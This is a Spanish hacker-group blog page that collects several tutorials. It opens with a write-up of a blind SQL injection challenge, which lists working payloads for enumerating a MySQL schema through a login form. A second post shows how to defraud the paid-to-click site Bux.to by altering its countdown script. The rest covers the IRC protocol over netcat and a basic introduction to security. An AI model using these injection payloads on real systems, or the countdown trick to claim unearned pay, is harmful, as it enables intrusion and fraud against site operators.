#n3ur0n4 c0rp | silicon cell into your mind

CAT | Documentos

Feb/10

24

MySQL_INFORMATION_SCHEMA By jde

Bueno después de no dejarles nada desde hace ya tiempo, les dejo este documento escrito por jde hace ya tiempo, la verdad le perdí el rastro a nuestro amigo jde, esto data de cuando aun n3ur0n4 pretendía ser un hack team allá en los canales de red-latina.

Sin mas tonterías que poner les dejo el documento…

======================================

Reto: Prueba de inyeccion SQL v3 by jde

—– —— — ——— — — — —

Hola muchachos/as aca estoy escribiendo un minituto del tercer reto que propuso emadicius sobre inyeccion sql, que despues de peliarlo un par de horas pudimos salir vencedores :P. El reto consistia en sacar la mayor cantidad informacion posible de la base de datos, es decir que base de datos era, el nombre de la DB, el nombre de la tabla, el nombre de sus campos y su tipos, jujuj bue vamos a ver que podemos hacer…. ;)

1) Aproximacion

Cargamos el reto en el navegador y vemos dos input que piden Usuario y Password, probamos metiendo unas inocentes comillitas por algun lado y si ponemos por ejemplo en Usuario:’p y en Password:’p , la base nos tira el siguiente error:

Error:

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘u’ and pass=”p” at line 1

Por suerte pudimos robar un pedazo de la consulta :D. Ahora sabemos que la consulta es de la forma:

…’xxxxxx’ and pass=’yyyyyy’….

Donde las xxxxxx son el usuario ingresado y las yyyyyyy el password ingresado. Al saber esto ya podemos empezar a inyectar codigo SQL, y hacer esto de manera valida sin que se produscan errores de sintaxis. Bastaria con hacer que nuestros xxxxxxx e yyyyyyy sean por ejemplo de la forma:

xxxxxxx=’SSSSSSSSS and ”=’

yyyyyyy=’QQQQQQQQQ and ”=’

Donde SSSSS y QQQQ es codigo SQL. Ya que si remplazmos esto en lo que sabiamos quedaria algo como:

…’xxxxxx’ and pass=’yyyyyy’…. —-> …”SSSSSSSSS and ”=” and pass=”QQQQQQQQQ and ”=”….

Lo que no tiene errores de sintaxis, siempre y cuando sea coherente lo de SSSSS y lo de QQQQQQ.

Tambien ya sabes que se trata de una base de datos MySQL.

Es mas sabemos que es una MySQL >= 5.0.12 ya que al inyectar la funcion sleep() no nos tira error. Probemoslo con:

xxxxxxx=’ and sleep(10) and ”=’

y como password cualquier cosa…. vemos que no hay error :D.

2) Consiguiendo el nombre de la base de datos

Primero podemos probar si tenemos algo de suerte :P aunque no suelo tenerla :( a veces suele funcionar jejejeje, asi que probemos si existe una tabla con el nombre Usuarios, lo vamos a hacer con la subconsulta EXISTS de la siguiente forma: EXISTS(SELECT * FROM Usuarios). Es decir nuestro SSSSSS sera de igual a:

SSSSSSSS= and EXISTS(SELECT * FROM Usuarios) —-> xxxxxxx=’ and EXISTS(SELECT * FROM Usuarios) and ”=’

Como password no metemos nada y veamos que pasa….

Error:

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Table ‘pruebahack.usuarios’ doesn’t exist

Error… =( no tuvimos suerte esta vez… ya que si la tabla hubiese existido no tendriamos error(suponiendo que tenia filas). Pero si miramos bien en realidad si tuvimos suerte porque el error nos esta diciendo que la tabla ‘pruebahack.usuarios’ no existe. Es decir ya conseguimos el nombre de la DB.

La base de datos se llama ‘pruebahack’.

3)Informacion interesante…

Navegando por dev.mysql.com llegue al Capitulo 22 del manual de referencia de MySQL 5.0, el cual trata sobre la base de datos de informacion INFORMATION_SCHEMA, la cual sabemos que existira ya que esta disponible en MySQL >= 5.0.2. Tambien podemos ver que esa base tiene una tabla que se llama TABLES :o y vemos tambien que tiene un cmapo TABLE_NAME :O!!! Entonces esta tablita la podriamos usar para tratar de averiguar el nombre de la tabla en cuestion….

Podriamos plantearnos hacer algo como:

SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=’pruebahack’ AND TABLE_NAME LIKE ‘%%’

Donde entre los %% tendriamos que ir poniendo algo inteligentemente de manera que podamos encontrar el nombre de alguna tabla, y luego ver si esa consulta devuelve algo mayor a 0…

Pero como podiramos hacer para saber que devuelve….recordando las bases de blind SQL Injection, pensamos si podriamos aplicar aca el mismo criterio…

Por suerte si podemos :D

por ejemplo, recordando los otros retos y metiendo como password yyyyyy=’ or 1=1 and ‘1′=’1

Tenemos que…..

OK!!

y si en cambio ponemos yyyyyy=’ or 1=0 and ‘1′=’1

tenemos….

Nada jajaja, recargamos la pagina no mas

Perfecto ya que eso es lo que necesitamos, es decir si la expresion que esta entre el or y el and es true, tenemos un OK, y si es false recargamos la pagina… :)


4)A la carga….

Con lo pensado en el punto anterior, y esperando tener un poco mas de surte ahora nos fijamos si existe una tabla que contenga la palabra Usuarios :P

yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=’pruebahack’ AND TABLE_NAME LIKE ‘%Usuarios%’)>0 and ”=’

….Ok!!!! seeeee un poco de suerte al fin!!!

ahora probamos sacando un % a la vez y vemos que la tabla se llama %Usuarios

Ahora fue no me quedo mas que probar :P y por suerte luego de un par de intentos llegue a que la tabla se llamaba…. Tb_Usuarios

5)Ahora los parametros….

Usando inyecciones como la anterior podemos saber la cantidad de las columnas:

yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=’Tb_Usuarios’)=3 and ”=’

Por el punto uno sabemos que una columna se llama pass, lo que podemos verificar inyectando:

yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=’Tb_Usuarios’ and column_name=’pass’)=1 and ”=’

Que tal si probamos si existe una user??

yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=’Tb_Usuarios’ and column_name=’user’)=1 and ”=’

jejeje estamos de suerte!! ;D

Recapitulemos, sabemos que tiene 3 columnas y ya conocemos 2… a esta tabla le podria faltar un Id ;)….probemos….

yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=’Tb_Usuarios’ and column_name=’Id’)=1 and ”=’

Perfecto!!!

Ya tenemos la cantidad de columnas y los nombres, solo nos quedan sus tipos….

Lo cual lo hacemos de la misma forma jajajaj :D

Por ejemplo sospechamos que el campo pass y el user deven ser algo de CHAR, entonces probemos….

yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=’pruebahack’ and column_name=’user’ and data_type LIKE ‘%CHAR%’)>0 and ”=’


yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=’pruebahack’ and column_name=’pass’ and data_type LIKE ‘%CHAR%’)>0 and ”=’

Y despues de ahi cambiando %CHAR% por VARCHAR nos damos cuenta que son VARCHAR :D…. pero de cuanto….

yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=’pruebahack’ and column_name=’pass’ and CHARACTER_MAXIMUM_LENGTH LIKE ‘10′)>0 and ”=’

Y jugando con ese 10 y lo mismo con el campo user obtenemos que pass es VARCHAR(100) y user VARCHAR(50).

Solo queda el tipo del campo Id,lo cual sospechamos que es int y lo comprobamos asi ;)

yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=’pruebahack’ and column_name=’Id’ and data_type LIKE ‘INT’)>0 and ”=’

Y listo!!!! Ya conseguimos toda la info, es un motor MySQL >= 5.0.12, la DB se llama ‘pruebahack’, y los campos son Id (INT), user (VARCHAR(50)) y pass (VARCHAR(100)).

6)Despedida…

Bueno este fue mi primer tuto, y espero que le sirva a alguno :P y avisenme de los errores que debe tener jajaja.

A su vez aprovecho este lugar para agradecerle a todo el grupo ya que me dejaron entrar y espero poder aprender mucho y compartir el conocimiento con ustedes, de manera que eoupo sea mejor en todos sus aspectos.

Saludos, jde.

, , , ,

============================
Title: Burlar Bux[dot]to
By: Lestat de Lioncourt
To: n3ur0n4.org
Reply: lestat@n3ur0n4.org
============================

Introducción:

Bux[dot]to es un sitio en el que te pagan 0.01 dollar por ver publicidad durante 30 segundos, al día antes podías visitar 10 sitios ahora oscilan entre los 20-40 aproximadamente también antes te pagaban al juntar 10 dollares a una cuenta alertpay de tu preferencia, pero ahora al ser mas sitios pues te pagan a los 50 dolares.

El tema a tratar el día de hoy es hacer algo para demorar menos esos 30 segundos, y en breve observaremos cual es la magia de no esperar tanto.

Flash de ideas:

Usando un poco el cerebro sabemos que hacer un contador en cuenta regresiva para una pagina es cuestión de código ejecutado en el cliente en este caso usar JavaScript, si ese ya saben el que sirve para poner bonitos nuestros sitios xD.

Ya sabiendo que necesitamos el uso de javascript pues podríamos acordarnos de un muy sonado truco de “no esperar la cuenta regresiva en rapidshare”, y el que no lo haya usado pues que pena…

Codex:

javascript:alert(c=0)

El anterior código por simple que parezca es el encargado de retrasar el tiempo a 0 en las descargas de rapidshare. Ya que modifica el valor de la variable “c”, que es la encargada de llevar la cuenta regresiva para que nos deje realizar la descarga.

Manos a la obra:

Ahora manos a la obra demos una mirada al código de una de esos anuncios que nos vemos forzados a dejar abiertos 30 segundos solo por unas monedas xD.

Codex:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
var x = 31;
var y = 1;
function startClock() {
        if (x !== 'Done') {
                x = x-y;
                document.frm.clock.value = x;
                setTimeout("startClock()", 1000);
        }
        if (x == 0) {
                x = 'Done';
                document.frm.clock.value = x;
                success.location.href="success.php";
        }
}
</script>

Excelente parece ser que no hemos errado en nuestro diagnostico. En el código anterior nos percatamos que existen dos variables:

  • x // encargada de guardar lo segundos restantes.

  • y // encargada de restar en unidad a nuestro contador.

Enseguida hagamos pruebas y juguemos con estas dos variables.

Todos los siguientes códigos se insertaran en la barra de direcciones de nuestro navegador web (borrando la dirección y pegando la linea javascript).

Codex:

javascript:alert(y=3)

El código anterior hará que nuestra espera sea reducida ya que el contador disminuirá ya no en una unidad si no restara tres unidades a la variable x.

Codex

javascript:alert(x=0)

Stop!!! que dijeron ya me jodí a bux[dot]to ¿verdad?, pues erraron si ponen la variable x a 0 el resultado de ese abuso de confianza los llevara a una cuenta infinita hacia los negativos, en pocas palabras y mejor entendibles “no te pagaran nunca esos 0.01 dollares” xD.

Codex

javascript:alert(x=1)

Tecleando el anterior código nos pondrá a uno la variable x y después de esto nos mostrara el hermoso DONE si corres con suerte seguido de una flecha que quiere decir que ya se ha pagado dicho enlace, su muestra un terrible tache (X) recarga la pagina y dele nuevamente al truco. Para no excedernos en dejar x=1 yo lo pongo a x=3, y casi siempre me da el DONE OK.

All

PD: Registrense en http://bux.to/

, , , , ,

Oct/09

21

SQL-Inyection By PerverthsO

video hecho por PerverthsO un gran competidor en esto de los wargames y que nos ha dejado publicar algo de su material sobre sql-inyection.

, , ,

Oct/09

21

PROTOCOLO IRC II

==================================
By: z3r0.und3r
To: #n3ur0n4
Url: http://n3ur0n4.org
Reply to: z3r0.und3r@n3ur0n4.org
==================================

==================================
=>> PROTOCOLO IRC II
==================================

1.- Relax e introducción

2.- Creando mi primer conexión vía Netcat

3.- Comandos de entrada-salida de un canal

4.- Comandos de conversación

5.- El comando MODE

6.- Pateando a indeseados

7.- Obteniendo información

8.- EOF
== Relax e introducción

Como ya comentamos en nuestra primera entrega, en esta trataremos de ver lo más que se pueda. Por lo que he visto en las visitas a este blog se han dirigido mas a este post, así que deduzco que hay interés en su siguiente entrega, pero me gustaría que comentaran para saber sus dudas y/o aclaraciones.

==Creando mi primer conexión vía Netcat

“Netcat es una herramienta de diagnostico y exploración de redes. Puede crear casi cualquier tipo de conexión y tiene varias opciones integradas. Puede ser utilizado solo, como soporte para otros programas, o puede incluirse dentro de scripts SH (en Unix) o batch (en ms-dos).” [1]

Podríamos hacer la conexión vía Telnet pero como este envía cada carácter que tecleamos, no nos da opción de equivocarnos. En cambio Netcat al enviar cada retorno de línea, nos permite antes de enviar el comando, revisar la sintaxis para que no generemos errores.

En adelante pondré logs de ejemplo, y después explicare cada comando y la respectiva respuesta del servidor. Lo que nosotros enviaremos estará dispuesto de la siguiente manera comando y lo que responde el servidor será respuesta

CODE
======================
M:\> nc irc.n3ur0n4.org 6667

NOTICE AUTH :*** Checking Ident

NOTICE AUTH :*** No ident response

user z3r0 z3r0 z3r0 :z3r0

nick z3r0

PING :2041857758

pong :2041857758

:irc.n3ur0n4.org 001 z3r0 :Welcome to the Internet Relay Network z3r0

:irc.n3ur0n4.org 002 z3r0 :Your host is irc.n3ur0n4.org, running version beware1 .5.7

:irc.n3ur0n4.org 003 z3r0 :This server was created Tue Jul 13 2004 at 20:36:07 GMT

:irc.n3ur0n4.org 004 z3r0 irc.n3ur0n4.org beware1.5.7 dgikoswx biklmnoprstv

:irc.n3ur0n4.org 005 z3r0 MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVM SG CNOTICE MODES=6 MAXCHANNELS=10 MAXBANS=45 :are supported by this server :irc.n3ur0n4.org 005 z3r0 NICKLEN=9 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYP ES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 :are supported by this server

:irc.n3ur0n4.org 251 z3r0 :There are 1 users and 0 invisible on 1 servers

:irc.n3ur0n4.org 255 z3r0 :I have 1 clients and 0 servers

:irc.n3ur0n4.org NOTICE z3r0 :Highest connection count: 1 (1 clients)

:irc.n3ur0n4.org 422 z3r0 :MOTD File is missing

:irc.n3ur0n4.org NOTICE z3r0 :on 1 ca 1(4) ft 10(10)

quit Saliendo ejercicio I

M:\>

======================

Netcat tiene grades posibilidades de comandos, por ahora solo nos importara la funcionalidad de crear una conexión de cualquier tipo, en este caso el servicio IRC en nuestro host virtual irc.n3ur0n4.org.

nc irc.n3ur0n4.org 6667

El nc es nuestro programa, irc.n3ur0n4.org será cambiado por el nombre del servidor al que se conectaran; en mi caso monte el bircd un censillo servidor IRC para Win32 en mi localhost. Y por ultimo el 6667 es el puerto mas común para los servidores IRC.

NOTICE AUTH :*** Checking Ident

NOTICE AUTH :*** No ident response

El servidor al conectarnos siempre lo primero que pedirá es que nos identifiquemos (no le permitirás el acceso a tu casa a un desconocido sin antes por lo menos saber su nombre), para esto tendremos que enviarle el comando USER.

user z3r0 z3r0 z3r0 :z3r0

El comando USER no devolverá mensaje alguno así que después de haberlo enviado debemos de enviar el comando NICK seguido del nombre con el que nos identificaran los demás residentes de la red IRC.

nick z3r0

ahora si ya casi estoy totalmente conectado al servicio IRC, después de mandar el comando NICK al servidor, este nos enviara un PING seguido de dos puntos y un numero aleatorio, a lo que nosotros contestaremos con un comando PONG seguido de los dos puntos y el numero aleatorio.

PING :numero_aleatorio

PONG :numero_aleatorio

El PING/PONG estarán presentes cada cierto tiempo en nuestra conexión, solo que los demás después del numero aleatorio, serán por lo general el nombre del servidor al que estés conectado un ejemplo seria: PING :irc.n3ur0n4.org a lo que nosotros contestaríamos con: PONG :irc.n3ur0n4.org

Después del PING/PONG ya estaremos finalmente conectados al servidor IRC, por lo cual nos enviara el mensaje de bienvenida, numero de canales creados, numero de usuarios conectados, servidores que conforman la red, etc.

Hasta ahora sabemos los comandos básicos para crear la conexión, el comando QUIT lo único que hace es notificarle al servidor que cierre su conexión con nosotros.

QUIT mensaje_de_salida

El mensaje_de_salida se mostrara en los cales en los que estés conectado.

==Comandos de entrada-salida de un canal

Se preguntaran, si claro ya sabemos como entrar a un servidor, pero ¿que hay de los canales?, ¿como me comunico con otras personas?.

En el IRC existen comandos para efectuar la entrada y salida de los canales presentes en la red. Pero antes tendremos que saber que canales hay en existencia para eso usamos el comando LIST que nos devolverá la lista de canales presentes en la red.

JOIN #canal

La función del comando JOIN es entrar en el canal indicado, ojo antepuesto un carácter #, ya que es el identificativo para un canal.

PART #canal :mensaje

Para abandonar un canal de conversación usaremos el comando PART seguido del canal del cual deseemos salir, el mensaje es optativo. Un uso censillo seria PART #canal.

QUIT mensaje

Este ultimo ya lo aviamos mencionado.

==Comandos de conversación

Hay dos formas de comunicarse con una persona en el IRC. Una vía canal, en el cual todos lo participantes leerán la conversación (publica), la otra es de forma directa por privado.

PRIVMSG #canal :mensaje

El comando PRIVMSG #canal envía un mensaje al canal dictado por el usuario. Cuidar que la sintaxis sea la correcta, los dos puntos no se deben omitir. También antes de poder enviar un mensaje a un canal, de veras de haber accedido a el con el comando JOIN si no marcara un error y no será enviado tu mensaje, ya que al crear un canal el servidor pone por defecto los modos no mensaje externos.

PRIVMSG nick :mensaje

Lo mismo que el anterior solo que aquí enviamos un mensaje privado a un usuario particular, este mensaje no lo podrán leer mas que el usuario que lo envía y el usuario con el nick receptor.

NOTICE #canal :noticia

Cumple con la misma función de PRIVMSG solo que esta en los clientes IRC gráficos, salta con otro color el mensaje, pero para los que estamos aprendiendo a usarle en modo texto no nos viene mal ni bien. Lo mismo pasa con la modalidad de privado. Solo que esta saltara en la misma ventana en la que estén posicionados los usuarios.

NOTICE nick :mensaje

==El comando MODE

Como ya lo vimos anteriormente, en el IRC hay jerarquía para cada usuario y también esto aplica a los canales. El comando MODE nos permitirá cambiar los distintos modos del canal y de los usuarios.

Canales

Para los canales existen modos para controlar la integridad del mismo, por si algún listillo nos quiere joder, por ejemplo cambiando el topic, si queremos que nuestro canal no se liste en el servidor, si deseamos que no entren extraños, etc. Para setear la opción solo se antepone un “+” al modo y para quitarle, solo se antepone un “-”. Nota: los [] no van incluidos en el comando, solo es para darle un poco de orden, solo usa MODE #canal +t, por poner un ejemplo.

MODE #canal [+/-]t

La opción “t” controla el acceso al topic por los usuarios normales, es decir, si lo seteo a “+t” solo los operadores del canal podrán cambiar el topic del mismo.

MODE #canal [+/-]n

Muchas veces hay personas que intentan joder desde afuera del canal, es decir, envían mensajes sin hacer siquiera un JOIN, al crear un canal se setean por default los modos +t y +n, pero no esta de mas saber para que sirve. El modo “n” controla el flujo de los mensajes externos al canal, si se setea el servidor no permitirá en envió de mensajes de personas que no estén dentro del canal.

MODE #canal [+/-]s

Tus drogos y tu no quieren que desconocidos entren al canal solo porque les suena bien su nombre, esta opción le notifica al servidor que no liste su canal al usar el comando LIST.

MODE #canal [+/-]i

Si deseas algo mas de filtrado de los usuarios que acceden a tu canal, pro que no repartir invitaciones para tu fiesta solo a los conocidos. La opción “i” solo permitirá la entrada a usuarios que tengan invitación de alguien que ya este participando en el canal al que se le ha seteado dicha opción. Para invitar a un usuario externo, tendrás que usar el siguiente comando.

INVITE nick #canal

Al usuario que invitemos le aparecerá una alerta de invitación, ya solo con un simple JOIN podrá acceder.

MODE #canal [+/-]m

La opción “m” controla los mensajes en el canal de miembros participantes en el mismo. Cuando se habilite este modo, aunque los usuarios estén dentro del canal, si no tienen privilegio de VOICE (voz), los mensajes que escriban dirigidos a ese canal, no serán entregados, el servidor le devolverá un error, ejemplo:

CODE
======================

privmsg #n3ur0n4 :Prueba de canal moderado sin privilegio de voz

:irc.n3ur0n4.org 404 z3r0 #n3ur0n4 :Cannot send to channel

======================

MODE #canal [+/-]k password

Como te puedes dar cuenta, este modo setea un clave de acceso al canal, ningún usuario podrá acceder si no sabe la clave correcta. Para poder entrar al canal de veras usar el comando JOIN con la siguiente sintaxis.

JOIN #canal password

Al setear una clave con el “+k” tendrás que removerla con “-k” seguido de la misma password.

MODE #canal [+/-]l numero

El modo “l” limita el acceso de un determinado número de usuarios. Esto es practico para cuando hay bots que se pueden clonar a si mismos, ejemplo si en el canal habemos 5 personas lo limitamos a 6 para evitar JOINs masivos, para cuando entre el numero 6, lo limitamos a 7, siempre un numero mas para tampoco no permitir el acceso al mismo.

==Usuarios

Anteriormente hablamos de los privilegios de los usuarios, de que no todos tienen la posibilidad e manejar todos los modos de usuarios y canales, sin estas restricciones el canal definitivamente seria un completo desorden.

MODE #canal [+/-]o|v nick

Los “o” operadores del canal tiene acceso a modificar todos lo modos del canal, así como kickear a cualquier usuario, bannear, dar y quitar voz, etc.

Para los “v” solo se les permitirá participar en un canal con modo “+m” (moderado).

==Pateando a indeseados

Siempre hay personas que fastidian la integridad del canal, aquellos que solo entran para romper las pelotas de los demás con insultos, spam, flood, bots indeseados, etc. Pues IRC nos tiene dos comandos útiles para joder a este tipo de personas.

KICK #canal nick :razón

El comando KICK expulsa al usuario del canal indicado con la razón descrita. Ejemplo: ” KICK #test z3r0 :Largo de aquí”.

KICK solo expulsa al usuario, pero si vuelve a hacer JOIN al canal, este entrara nuevamente, si es una llamada de atención esto es valido, pero si este tipo ya ha sobrepasado la línea existe un modo llamado BAN el cual le notifica al servidor que tal usuario no es bienvenido a nuestro canal.

Antes de proseguir, necesitamos analizar la estructura del identificador de cada usuario, nosotros solo lo identificamos por su nick, pero detrás de solo un nick el servidor lo reconoce por:

nick!~ident@host

Para cuando deseemos bannear a una persona, deberemos tomar en cuenta cada una de estas partes que conforman la identidad del usuario en el servidor.

Estas pueden combinarse de la forma en que nos venga bien, a continuación enuncio algunos ejemplos:

MODE #canal +b z3r0!*@* Banneara al usuario con el nick “z3r0″, si cambia de nick podrá volver a entrar.

MODE #canal +b *!~lestat@* Banneara a los usuarios con el ident “lestat”.

MODE #canal +b *!*@n3ur0n4.org Banneara a los usuarios con el host “n3ur0n4.org”, este también puede ser la ip del mismo, dependiendo de cómo este configurado el servidor, si banneas el host, no accederá a menos que se conecte desde otra localidad.

MODE #canal +b *!*@* No permitira la entrada a todos los usuarios que intente accede al canal, ojo no es recomendable este ultimo ;).

==Obteniendo información

El comando LIST nos devuelve la lista de canales creados en el servidor hasta el momento en que nosotros la solicitamos.

Ahora bien, para los que usan la consola para poder conectarse al servicio (que de esto trata este tuto, de dejar atrás los clientes IRC convencionales), aquí solo sabemos quienes están conectados al canal en cuando nosotros accedemos, pero que pasa si no recuerdo quienes están participando en el mismo.

NAMES #canal

Este comando nos devolverá la lista de los usuarios del canal indicado, claro esta en que tendrás que haber entrado previamente para poder consultar dicha información.

Si de información se trata disponemos de tres comandos para saber un poco mas de con quien estamos parlando de otro lado del monitor.

WHO nick devolverá la información a grandes rasgos sobre el usuario indicado, siempre y cuando este aun este online.

WHOIS nick lo mismo que el anterior solo que con mas detalle (si me equivoco corríjanme).

WHOWAS nick Este comando nos permite saber la información básica de un usuario que ya no se encuentra online.

Pero si de conseguir información se trata, es mejor consultar con los bots “nickserv, chanserv, botserv” ellos manejan más información que los comandos anteriormente listados.

Para mi estos fueron los comandos mas esenciales para saber el funcionamiento del protocolo, pero aquí les dejo una lista de los comandos que acepta y maneja el servidor bircd.

ACCOUNT ERROR MODE REHASH USERHOST
ADMIN GET MOTD RESTART USERIP
AWAY GLINE NAMES RPING VERSION
BURST HELP NICK RPONG WALLCHOPS
CLEARMODE INFO NOTICE SERVER WALLOPS
CLOSE INVITE OPER SETTIME WALLUSERS
CNOTICE ISON OPMODE SILENCE WALLVOICES
CONNECT JOIN PART SQUIT WHO
CPRIVMSG KICK PASS STATS WHOIS
CREATE KILL PING SVSNICK WHOWAS
DESYNCH LINKS PONG TIME
DIE LIST POST TOPIC
END_OF_BURST LUSERS PRIVMSG TRACE
EOB_ACK MAP QUIT USER

==EOF

Esto fue todo lo que me he inventado sobre el protocolo IRC xD, espero les haya servido, agradezco a los visitantes de este pequeño blog, aunque no a esos bots que nos estuvieron jodiendo cuando éramos un foro y ahora también están de spammers en este blog.

Cualquier duda, comentario, sugerencia, ampliación del articulo, corrección, mentada de madre, etc. Favor de comentar en este espacio o al correo de la comunidad staff@n3ur0n4.org o al de su servidor z3r0@n3ur0n4.org.

==EOF==

[1] NETCAT 1.10 Herramienta de Diagnostico y Exploración de Redes Articulo por Nahual http://www.Raza-Mexicana.org

, , , , ,

Oct/09

21

Intro a la seguridad informática

==================================
By: ekzitro
To: #n3ur0n4
Url: http://n3ur0n4.org
Reply to: n3ur0n4@gmail.com
==================================

======================================
=>> Intro a la seguridad informática
======================================

Hablemos un poco de algo que, muchas veces, se le da poca importancia. La Seguridad Informática.

Para empezar, ¿Qué es la Seguridad Informática?
Una definición simple y básica sería que:
La Seguridad Informática es una serie de técnicas utilizadas para organizar y proteger la Información.

También cabe mencionar que no existe una Serguridad Informática absoluta, por lo tanto el objetivo de ésta es el de minimizar los riesgos que permitan que terceras personas tengan acceso a información confidencial.

Y para los que creen que la Seguridad Informática es solo la protección de ese ‘montón de datos’…
Hay que tener muy en cuenta la seguridad de nuestro Hardware y Software involucrado en la información que queremos proteger, porque van totalmente de la mano. Sí, leyeron bien: el Hardware está involucrado en esto. Un ejemplo muy claro es que, ¿cómo pretenderíamos mantener nuestra información a salvo si no protegemos ese montón de dispositivos conectados dentro de esa “cajita”, sabiendo que allí es donde está guardada dicha información?

Para terminar, me gustaría mencionar que la Seguridad Informática no es únicamente tener un ‘buen’ antivirus instalado y/o un buen firewall, sino que se debe tomar mucho en cuenta la configuración y actualización de los mismos; así como de lo que ‘entra y sale’ de nuestra conexión, donde los puertos de nuestro Sistema Operativo juegan un papel muy importante en todo ésto. Y de igual manera pensar en permitir/restringir ‘permisos’ a usarios según sus tareas, habilidades e incluso la confianza que le tengamos para asignarle cierto nivel de acceso, etc.

Espero que les sirva de mucho ésta pequeña introducción, especialmente a aquellos que no pensaban que la Seguridad Informática era algo tan importante y que conlleva a un sinfin de situaciones complejas que ameritan echar a andar el cerebro para prevenir desastres lamentables con nuestra información.

, ,

Oct/09

21

Protocolo IRC I

==================================
By: z3r0.und3r
To: #n3ur0n4
Url: http://n3ur0n4.org
Reply to: z3r0.und3r@n3ur0n4.org
==================================

==================================
=>> PROTOCOLO IRC
==================================

1.- Relax e introducción

2.- Qué; es el protocolo IRC?

3.- Servidores

4.- Clientes

5.- Canales

6.- Usuarios

7.- EOF y avances

Relax e Introducción

Después de estar alejado de las redes un largo tiempo, me decidí a escribir un articulo sobre el protocolo IRC, perdonen si meto la pata ya que es mi primer tuto y que mejor que darles a conocer un poco de la funcionalidad detrás de los clientes IRC, y porque no, programarnos una robotina que nos auxilie dentro de nuestro canal de charla.

Este tema ya que hace algún tiempo que lo estuve investigando, ya que me decidí a programar un IRC Bot, así que tuve que aprender por la buena el funcionamiento del protocolo.

Al final de este tutoríal podrás crear, mantener, manejar, una conexión IRC mediante nuestro querido NetCat y/o Telnet, o por lo menos eso espero ya que si no adquieres esos conocimientos mínimos, entonces búscate otro paper que este no te sirvió de nada XD. Le dirás adiós a mIRC, Xchat, etc. Al igual que a sus scripts remotos con los que puedes crear pequeños Bots, y que mejor que php o algún lenguaje de tu preferencia para programar a los mismos.

¿Qué es el protocolo IRC?

El protocolo IRC (Internet Relay Chat) esta diseñado para conferencias basadas en texto. Desarrollado para que funcione sobre sistemas usuarios del protocolo TCP/IP.

El IRC es un protocolo que trabaja con el modelo cliente-servidor para el intercambio de información entre ambas partes de la comunicación.

Servidores

Un software que juega el rol de servidor, es aquel que provee un “servicio” a programas clientes, como por ejemplo un navegador Web, el cual se conecta al puerto 80 (el mas usual, pero dependiendo del administrador puede ser cualquier otro), y conforme el protocolo envía comandos y recibe respuestas a tales comandos.

Así un servidor IRC pone a la escucha un puerto para aceptar conexiones del exterior y así lograr la comunicación con los mismos, el puerto mas usual es el 6667 para clientes, y de la misma forma deja a la escucha algún puerto diferente para que se conecten otros servidores y así formar una red.

Clientes

Es aquel programa diseñado para conectarse a un servidor.

Cada cliente al conectarse a un servidor será distinguido del resto por un nombre identificativo (Nick), este no deberá ser igual al de otro cliente conectado a la red IRC, al ser idéntico, el servidor pedirá otro nick para poder ceder la conexión. Si es una red de servidores IRC, todos los servidores interconectados deberán de tener la información de los clientes conectados en toda la red para así lograr la comunicación.

Canales

Un canal es un espacio virtual en la red de servidores de IRC, en los cuales se lleva a cavo la comunicación entre los clientes conectados a un servidor. Un ejemplo muy citado en el tema del IRC es el de una casa (servidor), cada cuarto de la casa es un canal de Chat, si te encuentras dentro de un cuarto podrás comunicarte con todos lo presentes, pero en caso de que desees conversar con una persona que este en otra habitación tendrás que trasladarte a ese otro canal. En el IRC es parecido solo que no tendrás que salir de un canal para poder participar en una conversación que se efectué en otro canal. Podrás participar en tantos canales puedas atender.

Cada canal de charla esta destinado a tratar un tema o temas en específico, esto se puede deducir del nombre o del topic del canal.

Todos lo canales son listados en el servidor, para que los usuarios que apenas se conectan puedan consultarle y así entrar en el que mas les llame la atención, a menos que este en modo oculto.

Usuarios

En el IRC al igual que en cualquier ordenador, existen jerarquías de usuarios para llevar el control de los privilegios de cada uno y los roles a seguir, así como las responsabilidades.

  • IRCOP: Este es el rey del servidor, tiene la posibilidad de bannearte permanentemente del servidor, bannear rangos de IP, entrar en un canal que necesite de password, patear a cualquier usuario dentro de un canal sea cual sea su rango y privilegios, se encarga del buen funcionamiento del servidor.
  • OP: Administrador de un canal, se distingue de por un “@” antepuesto a su Nick, tiene los privilegios de dar/quitar OP temporal, voz, expulsar del canal (kick), setear topics, bannear, setear comandos del canal, etc.
  • VOICE: Usuario con privilegios solo de participar en un canal moderado y se distingue por un “+” antes de su Nick.

Estos rangos de usuarios son los mas usados, ya que para los OP’s de los canales hay niveles de privilegios y superioridad, el usuario encargado de asignar estos niveles es el OWNER. Así el administrador de nivel 10 no podrá tocar a un administrador de nivel 100, etc. mientras mas nivel tengas nadie te podrá tocar (kick, bannear).

EOF y avances

Para mi basta con esto de la teoría introductoria ya que es mas dinámico proseguir con ejemplos, para que no quedemos con cara de :S de que no ven en donde se aplica esta teoría, no es el gran comienzo, ya que siempre he sido de la idea de “por que leer teoría si puedes ponerle en practica”, pero con algo de tiempo les publico la segunda parte :D.

